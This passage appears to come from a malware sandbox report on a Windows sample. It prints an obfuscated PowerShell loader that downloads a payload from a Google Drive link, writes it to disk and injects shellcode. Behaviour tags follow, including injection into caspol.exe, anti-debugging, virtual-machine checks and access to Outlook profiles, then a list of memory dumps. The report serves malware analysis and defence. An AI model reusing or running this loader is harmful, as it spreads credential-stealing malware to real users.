'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Gastrosc6;$Depr = fkp $Presuffer5 $Presuffer6;$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.($Presuffer7) $Gastrosc8;$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.($Presuffer7) $Gastrosc8;$letted2=$letted2+'\Forblo.dat';$Aurocyan='';if (-not(Test-Path $letted2)) {while ($Aurocyan -eq '') {.($Presuffer7) $Obli00;Start-Sleep 5;}Set-Content $letted2 $Aurocyan;}$Aurocyan = Get-Content $letted2;$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.($Presuffer7) $Gastrosc9;$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.($Presuffer7) $Aurocyan0;$Unerrantly132=$Gastrosc.count-646;$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.($Presuffer7) $Aurocyan1;$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Aurocyan2;$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.($Presuffer7) $Aurocyan3#"3⤵
- Blocklisted process makes network request
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4872
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/260-133-0x0000000000000000-mapping.dmp
-
memory/1704-149-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmpFilesize
10.8MB
-
memory/1704-134-0x0000000000000000-mapping.dmp
-
memory/1704-135-0x0000013779B00000-0x0000013779B22000-memory.dmpFilesize
136KB
-
memory/1704-165-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmpFilesize
10.8MB
-
memory/1704-137-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmpFilesize
10.8MB
-
memory/3740-150-0x0000000008780000-0x000000000C21A000-memory.dmpFilesize
58.6MB
-
memory/3740-164-0x0000000008780000-0x000000000C21A000-memory.dmpFilesize
58.6MB
-
memory/3740-140-0x00000000058F0000-0x0000000005912000-memory.dmpFilesize
136KB
-
memory/3740-141-0x0000000006010000-0x0000000006076000-memory.dmpFilesize
408KB
-
memory/3740-142-0x0000000006170000-0x00000000061D6000-memory.dmpFilesize
408KB
-
memory/3740-143-0x00000000067A0000-0x00000000067BE000-memory.dmpFilesize
120KB
-
memory/3740-145-0x0000000006CF0000-0x0000000006D0A000-memory.dmpFilesize
104KB
-
memory/3740-144-0x0000000008100000-0x000000000877A000-memory.dmpFilesize
6.5MB
-
memory/3740-146-0x0000000007A80000-0x0000000007B16000-memory.dmpFilesize
600KB
-
memory/3740-147-0x00000000079D0000-0x00000000079F2000-memory.dmpFilesize
136KB
-
memory/3740-148-0x000000000C220000-0x000000000C7C4000-memory.dmpFilesize
5.6MB
-
memory/3740-138-0x0000000002EB0000-0x0000000002EE6000-memory.dmpFilesize
216KB
-
memory/3740-136-0x0000000000000000-mapping.dmp
-
memory/3740-151-0x00007FF917850000-0x00007FF917A45000-memory.dmpFilesize
2.0MB
-
memory/3740-152-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB
-
memory/3740-139-0x0000000005970000-0x0000000005F98000-memory.dmpFilesize
6.2MB
-
memory/3740-154-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB
-
memory/3740-156-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB
-
memory/4092-132-0x0000000000000000-mapping.dmp
-
memory/4872-163-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/4872-157-0x00007FF917850000-0x00007FF917A45000-memory.dmpFilesize
2.0MB
-
memory/4872-159-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB
-
memory/4872-160-0x0000000000400000-0x000000000062B000-memory.dmpFilesize
2.2MB
-
memory/4872-161-0x0000000000401000-0x000000000062B000-memory.dmpFilesize
2.2MB
-
memory/4872-155-0x0000000000B00000-0x000000000459A000-memory.dmpFilesize
58.6MB
-
memory/4872-153-0x0000000000000000-mapping.dmp
-
memory/4872-158-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB
-
memory/4872-166-0x0000000023E20000-0x0000000023EB2000-memory.dmpFilesize
584KB
-
memory/4872-167-0x0000000023DB0000-0x0000000023DBA000-memory.dmpFilesize
40KB
-
memory/4872-168-0x0000000023F10000-0x0000000023F60000-memory.dmpFilesize
320KB
-
memory/4872-169-0x0000000024270000-0x0000000024432000-memory.dmpFilesize
1.8MB
-
memory/4872-170-0x00007FF917850000-0x00007FF917A45000-memory.dmpFilesize
2.0MB
-
memory/4872-171-0x00000000777C0000-0x0000000077963000-memory.dmpFilesize
1.6MB